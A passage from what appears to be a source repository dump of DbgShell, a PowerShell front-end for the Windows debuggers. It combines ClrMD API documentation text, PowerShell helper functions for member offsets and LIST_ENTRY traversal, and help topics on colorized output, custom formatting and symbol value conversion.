and revision number. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Clear missing file/pdb cache Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. Copies the given file from the input stream into fullDestPath. The input stream to copy the file from. The source of this file. This is for informational/logging purposes and shouldn't be opened directly. The destination path of where the file should go on disk. The length of the given file. (Also for informational purposes, do not use this as part of a copy loop. A task indicating when the copy is completed. Default implementation of finding a pdb. The name the pdb is indexed under. The guid the pdb is indexed under. The age of the pdb. A full path on disk (local) of where the pdb was copied to. Attempts to locate a binary via the symbol server. This function will then copy the file locally to the symbol cache and return the location of the local file on disk. The filename that the binary is indexed under. The build timestamp the binary is indexed under. The image size the binary is indexed under. Whether or not to validate the properties of the binary after download. A full path on disk (local) of where the binary was copied to, null if it was not found. SymPathElement represents the text between the semicolons in a symbol path. It can be a symbol server specification or a simple directory path. SymPathElement follows functional conventions. After construction everything is read-only. returns a list of SymPathElements from a semicolon delimited string representing a symbol path returns true if this element of the symbol server path a symbol server specification returns the local cache for a symbol server specifcation. returns null if not specified returns location to look for symbols. This is either a directory specification or an URL (for symbol servers) IsRemote returns true if it looks like the target is not on the local machine. returns the string repsentation for the symbol server path element (e.g. SRV*c:\temp*\\symbols\symbols) Implements object interface Implements object interface returns a new SymPathElement with the corresponding properties initialized The type of frame the ClrStackFrame represents. Indicates this stack frame is a standard managed method. Indicates this stack frame is a special stack marker that the Clr runtime leaves on the stack. Note that the ClrStackFrame may still have a ClrMethod associated with the marker. A frame in a managed stack trace. Note you can call ToString on an instance of this object to get the function name (or clr!Frame name) similar to SOS's !clrstack output. Returns the runtime associated with this frame. Returns the arguments for this stack frame. Returns the locals for this stack frame. Returns the thread this stack frame came from. The instruction pointer of this frame. The stack pointer of this frame. The type of frame (managed or internal). The string to display in a stack trace. Similar to !clrstack output. Returns the ClrMethod which corresponds to the current stack frame. This may be null if the current frame is actually a CLR "Internal Frame" representing a marker on the stack, and that stack marker does not have a managed method associated with it. Returns the module this frame is associated with. Returns the module name to use for building the stack trace. The default name used when a module name cannot be calculated. Represents a managed thread in the target process. Note this does not wrap purely native threads in the target process (that is, threads which have never run managed code before). Gets the runtime associated with this thread. The suspension state of the thread according to the runtime. Returns true if this is the finalizer thread. The address of the underlying datastructure which makes up the Thread object. This serves as a unique identifier. Returns true if the thread is alive in the process, false if this thread was recently terminated. The OS thread id for the thread. The managed thread ID (this is equivalent to System.Threading.Thread.ManagedThreadId in the target process). The AppDomain the thread is running in. The number of managed locks (Monitors) the thread has currently entered but not left. This will be highly inconsistent unless the process is stopped. The TEB (thread execution block) address in the process. The base of the stack for this thread, or 0 if the value could not be obtained. The limit of the stack for this thread, or 0 if the value could not be obtained. Enumerates the GC references (objects) on the stack. This is equivalent to EnumerateStackObjects(true). An enumeration of GC references on the stack as the GC sees them. Enumerates the GC references (objects) on the stack. Include all objects found on the stack. Passing false attempts to replicate the behavior of the GC, reporting only live objects. An enumeration of GC references on the stack as the GC sees them. Returns the managed stack trace of the thread. Note that this property may return incomplete data in the case of a bad stack unwind or if there is a very large number of methods on the stack. (This is usually caused by a stack overflow on the target thread, stack corruption which leads to a bad stack unwind, or other inconsistent state in the target debuggee.) Note: This property uses a heuristic to attempt to detect bad unwinds to stop enumerating frames by inspecting the stack pointer and instruction pointer of each frame to ensure the stack walk is "making progress". Additionally we cap the number of frames returned by this method as another safegaurd. This means we may not have all frames even if the stack walk was making progress. If you want to ensure that you receive an un-clipped stack trace, you should use EnumerateStackTrace instead of this property, and be sure to handle the case of repeating stack frames. Enumerates a stack trace for a given thread. Note this method may loop infinitely in the case of stack corruption or other stack unwind issues which can happen in practice. When enumerating frames out of this method you should be careful to either set a maximum loop count, or to ensure the stack unwind is making progress by ensuring that ClrStackFrame.StackPointer is making progress (though it is expected that sometimes two frames may return the same StackPointer in some corner cases). An enumeration of stack frames. Returns the exception currently on the thread. Note that this field may be null. Also note that this is basically the "last thrown exception", and may be stale...meaning the thread could be done processing the exception but a crash dump was taken before the current exception was cleared off the field. Returns if this thread is a GC thread. If the runtime is using a server GC, then there will be dedicated GC threads, which this will indicate. For a runtime using the workstation GC, this flag will only be true for a thread which is currently running a GC (and the background GC thread). Returns if this thread is the debugger helper thread. Returns true if this thread is a threadpool timer thread. Returns true if this thread is a threadpool IO completion port. Returns true if this is a threadpool worker thread. Returns true if this is a threadpool wait thread. Returns true if this is the threadpool gate thread. Returns if this thread currently suspending the runtime. Returns true if this thread is currently the thread shutting down the runtime. Returns true if an abort was requested for this thread (such as Thread.Abort, or AppDomain unload). Returns true if this thread was aborted. Returns true if the GC is attempting to suspend this thread. Returns true if the user has suspended the thread (using Thread.Suspend). Returns true if the debugger has suspended the thread. Returns true if this thread is a background thread. (That is, if the thread does not keep the managed execution environment alive and running.) Returns true if this thread was created, but not started. Returns true if the Clr runtime called CoIntialize for this thread. Returns true if this thread is in a COM single threaded apartment. Returns true if the thread is a COM multithreaded apartment. Returns the object this thread is blocked waiting on, or null if the thread is not blocked. The architecture of a process. Unknown. Should never be exposed except in case of error. x86. x64 ARM This is a representation of the metadata element type. These values directly correspond with Clr's CorElementType. Not one of the other types. ELEMENT_TYPE_BOOLEAN ELEMENT_TYPE_CHAR ELEMENT_TYPE_I1 ELEMENT_TYPE_U1 ELEMENT_TYPE_I2 ELEMENT_TYPE_U2 ELEMENT_TYPE_I4 ELEMENT_TYPE_U4 ELEMENT_TYPE_I8 ELEMENT_TYPE_U8 ELEMENT_TYPE_R4 ELEMENT_TYPE_R8 ELEMENT_TYPE_STRING ELEMENT_TYPE_PTR ELEMENT_TYPE_VALUETYPE ELEMENT_TYPE_CLASS ELEMENT_TYPE_ARRAY ELEMENT_TYPE_I ELEMENT_TYPE_U ELEMENT_TYPE_FNPTR ELEMENT_TYPE_OBJECT ELEMENT_TYPE_SZARRAY An interface implementation in the target process. The typename of the interface. The interface that this interface inherits from. Display string for this interface. Display string for this interface. Equals override. Object to compare to. True if this interface equals another. GetHashCode override. A hashcode for this object. A representation of a type in the target process. Retrieves the first type handle in EnumerateMethodTables(). MethodTables are unique to an AppDomain/Type pair, so when there are multiple domains there will be multiple MethodTable for a class. Enumerates all MethodTable for this type in the process. MethodTable are unique to an AppDomain/Type pair, so when there are multiple domains there may be multiple MethodTable. Note that even if a type could be used in an AppDomain, that does not mean we actually have a MethodTable if the type hasn't been created yet. An enumeration of MethodTable in the process for this given type. Returns the metadata token of this type. Types have names. GetSize returns the size in bytes for the total overhead of the object 'objRef'. EnumeationRefsOfObject will call 'action' once for each object reference inside 'objRef'. 'action' is passed the address of the outgoing refernece as well as an integer that represents the field offset. While often this is the physical offset of the outgoing refernece, abstractly is simply something that can be given to GetFieldForOffset to return the field information for that object reference Does the same as EnumerateRefsOfObject, but does additional bounds checking to ensure we don't loop forever with inconsistent data. Returns true if the type CAN contain references to other objects. This is used in optimizations and 'true' can always be returned safely. All types know the heap they belong to. Returns true if this object is a 'RuntimeType' (that is, the concrete System.RuntimeType class which is what you get when calling "typeof" in C#). Returns the concrete type (in the target process) that this RuntimeType represents. Note you may only call this function if IsRuntimeType returns true. The RuntimeType object to get the concrete type for. The underlying type that this RuntimeType actually represents. May return null if the underlying type has not been fully constructed by the runtime, or if the underlying type is actually a typehandle (which unfortunately ClrMD cannot convert into a ClrType due to limitations in the underlying APIs. (So always null-check the return value of this function.) Returns the module this type is defined in. Returns a method based on its token. The token of the method to return. A ClrMethod for the given token, null if no such methodDesc exists. Returns the ElementType of this Type. Can return ELEMENT_TYPE_VOID on error. Returns true if this type is a primitive (int, float, etc), false otherwise. True if this type is a primitive (int, float, etc), false otherwise. Returns true if this type is a ValueClass (struct), false otherwise. True if this type is a ValueClass (struct), false otherwise. Returns true if this type is an object reference, false otherwise. True if this type is an object reference, false otherwise. Returns the list of interfaces this type implements. Returns true if the finalization is suppressed for an object. (The user program called System.GC.SupressFinalize. The behavior of this function is undefined if the object itself is not finalizable. Returns whether objects of this type are finalizable. Returns true if this type is marked Public. returns true if this type is marked Private. Returns true if this type is accessable only by items in its own assembly. Returns true if this nested type is accessable only by subtypes of its outer type. Returns true if this class is abstract. Returns true if this class is sealed. Returns true if this type is an interface. Returns all possible fields in this type. It does not return dynamically typed fields. Returns an empty list if there are no fields. Returns a list of static fields on this type. Returns an empty list if there are no fields. Returns a list of thread static fields on this type. Returns an empty list if there are no fields. Gets the list of methods this type implements. When you enumerate a object, the offset within the object is returned. This offset might represent nested fields (obj.Field1.Field2). GetFieldOffset returns the first of these field (Field1), and 'remaining' offset with the type of Field1 (which must be a struct type). Calling GetFieldForOffset repeatedly until the childFieldOffset is 0 will retrieve the whole chain. true if successful. Will fail if it 'this' is an array type Returns the field given by 'name', case sensitive. Returns NULL if no such field name exists (or on error). Returns the field given by 'name', case sensitive. Returns NULL if no such field name exists (or on error). If this type inherits from another type, this is that type. Can return null if it does not inherit (or is unknown) Returns true if the given object is a Com-Callable-Wrapper. This is only supported in v4.5 and later. The object to check. True if this is a CCW. Returns the CCWData for the given object. Note you may only call this function if IsCCW returns true. The CCWData associated with the object, undefined result of obj is not a CCW. Returns true if the given object is a Runtime-Callable-Wrapper. This is only supported in v4.5 and later. The object to check. True if this is an RCW. Returns the RCWData for the given object. Note you may only call this function if IsRCW returns true. The RCWData associated with the object, undefined result of obj is not a RCW. Indicates if the type is in fact a pointer. If so, the pointer operators may be used. Gets the type of the element referenced by the pointer. A type is an array if you can use the array operators below, Abstractly arrays are objects that whose children are not statically known by just knowing the type. If the type is an array, then GetArrayLength returns the number of elements in the array. Undefined behavior if this type is not an array. Returns the absolute address to the given array element. You may then make a direct memory read out of the process to get the value if you want. Returns the array element value at the given index. Returns 'null' if the array element is of type VALUE_CLASS. Returns the size of individual elements of an array. Returns the base size of the object. Returns true if this type is System.String. Returns true if this type represents free space on the heap. Returns true if this type is an exception (that is, it derives from System.Exception). Returns true if this type is an enum. Returns the element type of this enum. Returns a list of names in the enum. Gets the name of the value in the enum, or null if the value doesn't have a name. This is a convenience function, and has undefined results if the same value appears twice in the enum. The value to lookup. The name of one entry in the enum with this value, or null if none exist. Gets the name of the value in the enum, or null if the value doesn't have a name. This is a convenience function, and has undefined results if the same value appears twice in the enum. The value to lookup. The name of one entry in the enum with this value, or null if none exist. Attempts to get the integer value for a given enum entry. Note you should only call this function if GetEnumElementType returns ELEMENT_TYPE_I4. The name of the value to get (taken from GetEnumNames). The value to write out. True if we successfully filled value, false if 'name' is not a part of the enumeration. Attempts to get the value for a given enum entry. The type of "value" can be determined by the return value of GetEnumElementType. The name of the value to get (taken from GetEnumNames). The value to write out. True if we successfully filled value, false if 'name' is not a part of the enumeration. Returns true if instances of this type have a simple value. Returns the simple value of an instance of this type. Undefined behavior if HasSimpleValue returns false. For example ELEMENT_TYPE_I4 is an "int" and the return value of this function would be an int. The address of an instance of this type. Returns a string representation of this object. A string representation of this object. A representation of a field in the target process. The name of the field. The type of the field. Note this property may return null on error. There is a bug in several versions of our debugging layer which causes this. You should always null-check the return value of this field. Returns the element type of this field. Note that even when Type is null, this should still tell you the element type of the field. Returns true if this field is a primitive (int, float, etc), false otherwise. True if this field is a primitive (int, float, etc), false otherwise. Returns true if this field is a ValueClass (struct), false otherwise. True if this field is a ValueClass (struct), false otherwise. Returns true if this field is an object reference, false otherwise. True if this field is an object reference, false otherwise. Gets the size of this field. Returns true if this field is public. Returns true if this field is private. Returns true if this field is internal. Returns true if this field is protected. Returns true if this field has a simple value (meaning you may call "GetFieldValue" in one of the subtypes of this class). If the field has a well defined offset from the base of the object, return it (otherwise -1). Returns a string representation of this object. A string representation of this object. Represents an instance field of a type. Fundamentally it respresents a name and a type Returns the value of this field. Equivalent to GetFieldValue(objRef, false). The object to get the field value for. The value of the field. Returns the value of this field, optionally specifying if this field is on a value class which is on the interior of another object. The object to get the field value for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. The value of the field. Returns the value of this field, optionally specifying if this field is on a value class which is on the interior of another object. The object to get the field value for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of the field. Returns the address of the value of this field. Equivalent to GetFieldAddress(objRef, false). The object to get the field address for. The value of the field. Returns the address of the value of this field. Equivalent to GetFieldAddress(objRef, false). The object to get the field address for. Whether the enclosing type of this field is a value class, and that value class is embedded in another object. The value of the field. Represents a static field in the target process. Returns whether this static field has been initialized in a particular AppDomain or not. If a static variable has not been initialized, then its class constructor may have not been run yet. Calling GetFieldValue on an uninitialized static will result in returning either NULL or a value of 0. The AppDomain to see if the variable has been initialized. True if the field has been initialized (even if initialized to NULL or a default value), false if the runtime has not initialized this variable. Gets the value of the static field. The AppDomain in which to get the value. The value of this static field. Gets the value of the static field. The AppDomain in which to get the value. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of this static field. Returns the address of the static field's value in memory. The AppDomain in which to get the field's address. The address of the field's value. Returns true if the static field has a default value (and if we can obtain it). The default value of the field. The default value of the field. Represents a thread static value in the target process. Gets the value of the field. The AppDomain in which to get the field's value. The thread on which to get the field's value. The value of the field. Gets the value of the field. The AppDomain in which to get the field's value. The thread on which to get the field's value. When true, the value of a string field will be returned as a System.String object; otherwise the address of the String object will be returned. The value of the field. Gets the address of the field. The AppDomain in which to get the field's address. The thread on which to get the field's address. The address of the field. A wrapper class for exception objects which help with common tasks for exception objects. Create this using GCHeap.GetExceptionObject. You may call that when GCHeapType.IsException returns true. Returns the GCHeapType for this exception object. Returns the exception message. Returns the address of the exception object. Returns the inner exception, if one exists, null otherwise. Returns the HRESULT associated with this exception (or S_OK if there isn't one). Returns the StackTrace for this exception. Note that this may be empty or partial depending on the state of the exception in the process. (It may have never been thrown or we may be in the middle of constructing the stackwalk.) This returns an empty list if no stack trace is associated with this exception object. The COM implementation details of a single CCW entry. The CLR type this represents. The interface pointer of Type. Helper for Com Callable Wrapper objects. (CCWs are CLR objects exposed to native code as COM objects). Returns the pointer to the IUnknown representing this CCW. Returns the pointer to the managed object representing this CCW. Returns the CLR handle associated with this CCW. Returns the refcount of this CCW. Returns the interfaces that this CCW implements. Helper for Runtime Callable Wrapper objects. (RCWs are COM objects which are exposed to the runtime as managed objects.) Returns the pointer to the IUnknown representing this CCW. Returns the external VTable associated with this RCW. (It's useful to resolve the VTable as a symbol which will tell you what the underlying native type is...if you have the symbols for it loaded). Returns the RefCount of the RCW. Returns the managed object associated with this of RCW. Returns true if the RCW is disconnected from the underlying COM type. Returns the thread which created this RCW. Returns the internal WinRT object associated with this RCW (if one exists). Returns the list of interfaces this RCW implements. The way a method was JIT'ed. Method is not yet JITed and no NGEN image exists. Method was JITed. Method was NGEN'ed (pre-JITed). Represents a method on a class. Retrieves the first MethodDesc in EnumerateMethodDescs(). For single AppDomain programs this is the only MethodDesc. MethodDescs are unique to an Method/AppDomain pair, so when there are multiple domains there will be multiple MethodDescs for a method. Enumerates all method descs for this method in the process. MethodDescs are unique to an Method/AppDomain pair, so when there are multiple domains there will be multiple MethodDescs for a method. An enumeration of method handles in the process for this given method. The name of the method. For example, "void System.Foo.Bar(object o, int i)" would return "Bar". Returns the full signature of the function. For example, "void System.Foo.Bar(object o, int i)" would return "System.Foo.Bar(System.Object, System.Int32)" Returns the instruction pointer in the target process for the start of the method's assembly. Gets the ILOffset of the given address within this method. The absolute address of the code (not a relative offset). The IL offset of the given address. Returns the way this method was compiled. Returns the IL to native offset mapping. Returns the metadata token of the current method. Returns the enclosing type of this method. Returns if this method is public. Returns if this method is private. Returns if this method is internal. Returns if this method is protected. Returns if this method is static. Returns if this method is final. Returns if this method is a PInvoke. Returns if this method is a special method. Returns if this method is runtime special method. Returns if this method is virtual. Returns if this method is abstract. Returns whether this method is an instance constructor. Returns whether this method is a static constructor. A method's mapping from IL to native offsets. The IL offset for this entry. The native start offset of this IL entry. The native end offset of this IL entry. To string. A visual display of the map entry. Reserved. ================================================ FILE: DbgShell/x64/Debugger/OtherUtils.ps1 ================================================ # # We can put functions in here that are not necessarily debugger-related, like # type-specific utilities. # # This sort of thing might should probably go in a separate module (like # MyTeamDbgExtensions.psm1), but I'm just going to throw stuff in here for now. # <# .SYNOPSIS Finds the offset for a given member/member path from the start of the specified type. Example: Find-MemberOffset 'nt!_ETHREAD' 'Tcb.ThreadListEntry' #> function Find-MemberOffset { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0 )] [ValidateNotNull()] [MS.Dbg.Commands.TypeTransformation()] [MS.Dbg.DbgUdtTypeInfo] $Type, [Parameter( Mandatory = $true, Position = 1, ValueFromPipeline = $true )] [ValidateNotNullOrEmpty()] [string] $MemberPath ) begin { } end { } process { try { $memberNames = $MemberPath.Split( '.' ) [int] $offset = 0 for( [int] $idx = 0; $idx -lt $memberNames.Length; $idx++ ) { $memberName = $memberNames[ $idx ] if( !$Type.Members.HasItemNamed( $memberName ) ) { throw "Type $($Type.FullyQualifiedName) does not have a member called $($memberName)." } $member = $Type.Members[ $memberName ] $offset += $member.Offset if( $idx -lt ($memberNames.Length - 1) ) { # Not done with the loop; need to get next Type. if( $member.DataType -is [MS.Dbg.DbgPointerTypeInfo] ) { throw "There can't be a pointer in the member path ($memberName)." } elseif( $member.DataType -isnot [MS.Dbg.DbgUdtTypeInfo] ) { throw "Unexpected DataType: '$memberName' member is a $($Type.Members[ $memberName ].DataType.GetType().FullName)." } $Type = $member.DataType } } return $offset } finally { } } # end 'process' block } # end Find-MemberOffset <# .SYNOPSIS Enumerates items in a LIST_ENTRY list. Example (kernel mode): Expand-LIST_ENTRY (dt 'nt!PsActiveProcessHead') 'nt!_EPROCESS' 'ActiveProcessLinks' Note that $ListEntryMemberName can can reference a member of a member (of a member, etc.). In other words, it can go more than a single member deep--for instance, it could be 'Tcb.ThreadListEntry'. #> function Expand-LIST_ENTRY { [CmdletBinding()] param( [Parameter( Mandatory = $true, Position = 0, ValueFromPipeline = $true )] [ValidateNotNull()] # TODO: Would it be nice to have a [DbgValueTransformation()] attribute, so we # could pass a string here, like we can for the type? So you could do: # # Expand-LIST_ENTRY 'nt!PsActiveProcessHead' 'nt!_EPROCESS' 'ActiveProcessLinks' # # I guess it's not so bad to do: # # Expand-LIST_ENTRY (dt 'nt!PsActiveProcessHead') 'nt!_EPROCESS' 'ActiveProcessLinks' # [MS.Dbg.DbgValue] $Head, [Parameter( Mandatory = $true, Position = 1 )] [ValidateNotNull()] [MS.Dbg.Commands.TypeTransformation()] [MS.Dbg.DbgUdtTypeInfo] $EntryType, [Parameter( Mandatory = $false, Position = 2 )] [ValidateNotNullOrEmpty()] [string] $ListEntryMemberName ) begin { try { function addrOf( $dbgVal ) { # You're allowed to pass a LIST_ENTRY, a LIST_ENTRY*, a LIST_ENTRY**, ... if( $dbgVal -is [MS.Dbg.DbgPointerValue] ) { $dbgVal = $dbgVal.DbgFollowPointers() } return $dbgVal.DbgGetOperativeSymbol().Address } if( !$ListEntryMemberName ) { # # We'll find it ourself, by looking for the first LIST_ENTRY member. # $listEntryMembers = @( $EntryType.Members | where { $_.DataType.Name -eq '_LIST_ENTRY' } ) if( 0 -eq $listEntryMembers.Count ) { throw "Could not find a _LIST_ENTRY member in $($EntryType.FullyQualifiedName)." } else { $ListEntryMemberName = $listEntryMembers[ 0 ] if( $listEntryMembers.Count -gt 1 ) { Write-Warning "Type $($EntryType.FullyQualifiedName) has more than one _LIST_ENTRY member. We'll just guess and use the first one ($ListEntryMemberName)." } } } # end if( !$ListEntryMemberName ) [string] $dotFlink = '.Flink' if( $ListEntryMemberName.EndsWith( $dotFlink ) ) { Write-Warning "Don't include 'Flink' in the -ListEntryMemberName parameter." $ListEntryMemberName = $ListEntryMemberName.Substring( 0, $ListEntryMemberName.Length - $dotFlink.Length ) } $listEntryOffset = Find-MemberOffset $EntryType $ListEntryMemberName } finally { } } # end 'begin' block end { } process { try { $headAddr = addrOf $Head $curListEntry = $Head.Flink [int] $idx = 0 # $curListEntry is a pointer, so can compare directly to $headAddr. while( $curListEntry -ne $headAddr ) { # If things go badly, this is likely where we find out--$curListEntry will # be a DbgValueError, and thus won't have a DbgGetPointer() method. We can # make the error a little nicer. if( $curListEntry -is [MS.Dbg.DbgValueError] ) { $er = New-Object 'System.Management.Automation.ErrorRecord' ` -ArgumentList @( $curListEntry.DbgGetError(), 'ErrorWhileTraversingList', # ErrorId 'NotSpecified', # ErrorCategory $curListEntry ) # TargetObject $PSCmdlet.ThrowTerminatingError( $er ) } # N.B. $curListEntry is a pointer, but we need to get the raw pointer else # pointer arithmetic will mess things up. $curItemAddr = $curListEntry.DbgGetPointer() - $listEntryOffset #$val = dt $EntryType $curItemAddr $val = Get-DbgSymbolValue -Address $curItemAddr ` -Type $EntryType ` -NameForNewSymbol "$($Head.DbgGetOperativeSymbol().Name)_$($idx)" ` -ErrorAction Stop Write-Output $val # The $ListEntryMemberName might have dots (".") in it (like # "Tcb.ThreadListEntry"), so we'll use Invoke-Expression to get what we # want. (without iex, it will complain that $val has no such member # "Tcb.ThreadListEntry", which is true) $curListEntry = Invoke-Expression "`$val.$ListEntryMemberName.Flink" $idx++ } } finally { } } # end 'process' block } # end function Expand-LIST_ENTRY ================================================ FILE: DbgShell/x64/Debugger/Types.ps1xml ================================================ Microsoft.Diagnostics.Runtime.ClrThread StackTrace MS.Dbg.DbgProvider GetClrStackTraceOnDbgEngThread BlockingObjects MS.Dbg.DbgProvider GetBlockingObjectsOnDbgEngThread Microsoft.Diagnostics.Runtime.ClrRuntime Threads MS.Dbg.DbgProvider GetClrThreadsOnDbgEngThread ================================================ FILE: DbgShell/x64/Debugger/en-us/DbgProvider.dll-Help.xml ================================================  Mount-DumpFile Loads a dump file for post-mortem debugging. Mount DumpFile The Mount-DumpFile cmdlet loads a dump file for post-mortem debugging, similar to "windbg -z". Mount-DumpFile DumpFile Specifies the dump file to load. string TargetName Specifies the name which should be used to represent the dump file in the Debugger provider virtual namespace. string DumpFile Specifies the dump file to load. string string TargetName Specifies the name which should be used to represent the dump file in the Debugger provider virtual namespace. string string System.String This cmdlet accepts a string object as input that populates the DumpFile parameter. MS.Dbg.DbgContainer This cmdlet loads the specified dump file into the Debugger provider virtual namespace. Unmount-DumpFile ================================================ FILE: DbgShell/x64/Debugger/en-us/about_Color.help.txt ================================================ TOPIC about_Color SHORT DESCRIPTION DbgShell supports text colorization using ANSI escape codes (a la ISO/IEC 6429). LONG DESCRIPTION You've been staring at your debugger session for close to an hour... the numbers, the acronyms, the addresses, the data, the instructions are all beginning to blend together... your eyes are becoming bleary and tired trying to find the information you are looking for in the sea of gray text... Isn't there an easier way? There could be! With the help of color, seeing information can be a lot easier. Of course the information is there in the text. But even a novice debugger does not read through the debugger output like it was a novel--when debugging, we look at the output of the debugger like a picture to find the information that we really want to read. The ease or difficulty of finding the particular information has a huge impact on the debugging experience. With the current Windows debuggers, the only pictoral information that we have is shape and texture--the texture of the text itself, and the shapes of the different types of output. For instance, my eyes can pick out the shape of the "second chance!" message, the shape of a stack dump, the shape of a modload or block of modloads, the shape of a data dump, and the texture of chunks of zeros in a data dump. When stepping, I can rely on the repeating constant shape of the register output displayed on each step to know where to keep my eyes to see when a particular piece of information changes. Color adds a whole new dimension to the information. With the addition of color, you can highlight information independent of shape or within shape. It can simply make a particular shape even more identifiable, or, even better, it can highlight information within a shape. On top of that, even, it can highlight the differences between two instances of the same shape. For example, the register output is familiar to all who debug. It can be made even more identifiable by making the register values blue. Even better, when stepping, if the registers that change between each step change color, it becomes trivial to see what has changed. ANSI ESCAPE CODES DbgShell supports text colorization using ANSI escape codes (a la ISO/IEC 6429). Specifically, it supports a subset of the SGR ("Select Graphics Rendition") codes, plus a pair of nonstandard "push" and "pop" codes for better composability. Of course you don't have to manually construct strings with all those icky escape codes; use the MS.Dbg.ColorStringclass in C# or the New-ColorString command in PowerShell script. Note that ColorString has implicit conversions from and to System.String, as well as certain fields to make it "look like"System.String. This is to aid script use of ColorString objects; the script is only interested in the content, and the color markup is only for display by a capable host. INTERFACE: ISupportColor The MS.Dbg.ISupportColor interface has one method: ToColorString(), which returns a ColorString object. DbgShell's custom formatting and output engine recognizes objects that implement this interface: if you write an object to the output stream which implements ISupportColor (and there isn't some other formatting view that covers it), the custom F+O will call .ToColorString() on it for display. ColorString Object You can easily create colorized strings in DbgShell by using the ColorString class and the New-ColorString cmdlet. The ColorString class has a fluent-style API, letting you do things like: $cs = (New-ColorString).Append( $sym.Type.ColorName ). Append( ' ' ). AppendPushPopFg( [ConsoleColor]::Green, $_.m_friendlyName.m_asStr ). Append( ' (Id ' ). Append( $_.m_dwId.m_dwId.ToString() ). Append( ') ' ) QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_CustomFormatting.help.txt ================================================ TOPIC about_CustomFormatting SHORT DESCRIPTION DbgShell includes a custom Formatting+Output (F+O) engine. LONG DESCRIPTION Please see the MarkDown help file "CustomFormattingEngine.md" in the "doc" folder at the root of the DbgShell installation. TBD: generate help topics from .md help files. QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_CustomSymbolValueConversion.help.txt ================================================ TOPIC about_CustomSymbolValueConversion SHORT DESCRIPTION DbgShell lets you get symbol values as nice objects. This is extremely powerful for scripting. You can customize how these symbol value objects are created. LONG DESCRIPTION For most objects, the stock object given to you by DbgShell is fine, but some objects are very painful to deal with in "raw" form--most notably STL containers, but many others as well. So DbgShell has a generic "custom symbol value conversion" facility, which lets you register some little snippet of script to take a stock symbol value object and turn it into something more useful. You can add properties or methods, modify existing members, or create an entirely new object. DbgShell comes with a few of these little conversion snippets, including some for dealing with STL containers: STL symbol value type Gets tranformed into a .NET object of this type ===================== =============================================== std::string, std::wstring ==> System.String std::vector<*> ==> System.Collections.ObjectModel.ReadOnlyCollection std::map<*> ==> System.Collections.ObjectModel.ReadOnlyDictionary std::set<*> ==> System.Collections.ObjectModel.ReadOnlyCollection For more information, please see the MarkDown help file "SymbolValueConversion.md" in the "doc" folder at the root of the DbgShell installation. ADDITIONAL HELP TOPICS Get-Help about_HowTo_Write_a_Symbol_Value_Converter QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_DbgShell.help.txt ================================================ TOPIC about_DbgShell SHORT DESCRIPTION DbgShell is a PowerShell front-end for the Windows debuggers. For a "quick-start" guide, run Get-Help about_DbgShell_GettingStarted. LONG DESCRIPTION Please see the MarkDown help file "ReadMe.md" at the root of the DbgShell installation. TBD: generate help topics from .md help files. ADDITIONAL HELP TOPICS Get-Help about_DbgShell_GettingStarted Get-Help about_MemoryCommands Get-Help about_CustomFormatting Get-Help about_Color Get-Help about_DerivedTypeDetection QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_DbgShell_GettingStarted.help.txt ================================================ TOPIC about_DbgShell_GettingStarted SHORT DESCRIPTION DbgShell is a PowerShell front-end for the Windows debuggers. For more background information, run Get-Help about_DbgShell. LONG DESCRIPTION Please see the MarkDown help file "Color.md" in the "doc" folder at the root of the DbgShell installation. TBD: generate help topics from .md help files. ADDITIONAL HELP TOPICS Get-Help about_DbgShell Get-Help about_MemoryCommands Get-Help about_CustomFormatting Get-Help about_Color Get-Help about_DerivedTypeDetection QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_DerivedTypeDetection.help.txt ================================================ TOPIC about_DerivedTypeDetection SHORT DESCRIPTION DbgShell lets you see symbol values as they are, not just as they are declared. LONG DESCRIPTION For instance, if you have a member field that is declared in source code as being an IFoo*, but at runtime the member points at a CFooImpl, when you dump the object in DbgShell, you'll see a CFooImpl. It works by using vtable and base class information found in the PDB. It does not require anything from you. However, if you run into some sort of problem (or just want to see how good you have it), you can bypass it by using the "DbgSymbol.GetValue( bool skipTypeConversion, bool skipDerivedTypeDetection )" method. There is also a plug-in facility for cases where there is no symbolic relationship between the detected vtable and the declared type (sometimes you get this with generated code, for instance), but for most cases this should not be needed. QUESTIONS/FEEDBACK TBD:github link ================================================ FILE: DbgShell/x64/Debugger/en-us/about_HowTo_Write_a_Symbol_Value_Converter.help.txt ================================================ TOPIC about_HowTo_Write_a_Symbol_Value_Converter SHORT DESCRIPTION "Symbol Value Converters" allow DbgShell to automagically transform symbol value objects into more useful forms (for example, transforming STL containers into .NET containers for easy inspection and scripting). LONG DESCRIPTION A "Symbol Value Converter" is really just a snippet of PowerShell script. The script accepts a symbol ([MS.Dbg.DbgSymbol]) as input, and yields a value that represents the value of the symbol. Most symbols do not need a symbol value converter--the default (or "stock") value object created by DbgShell to represent the value of a symbol is in most cases just fine. But in some cases, symbol value converters can add a lot of value, making information much more easily and conveniently accessible, both for manual inspection and for scripting. Symbol value converters are registered and applied using type names (similar to custom formatting view definitions (see Get-Help about_CustomFormatting)). Qualifying a type name with the module is optional. So, for example, if you want to write a symbol value converter for _RTL_CRITICAL_SECTION objects, you could register the converter using either the name 'ntdll!_RTL_CRITICAL_SECTION', or just '!_RTL_CRITICAL_SECTION'. Then, when DbgShell comes across an _RTL_CRITICAL_SECTION symbol and needs to create an object representing the value of the symbol, it will look up your converter, run it, and use the resulting object. You can look at the type names associated with a symbol by calling GetTypeNames() on it. For example: > (dv this).GetTypeNames() CoreMessaging!Contoso::CoreUI::Messaging::MessageSession* !Contoso::CoreUI::Messaging::MessageSession* CoreMessaging!Contoso::CoreUI::SharedDisposableObject* !Contoso::CoreUI::SharedDisposableObject* 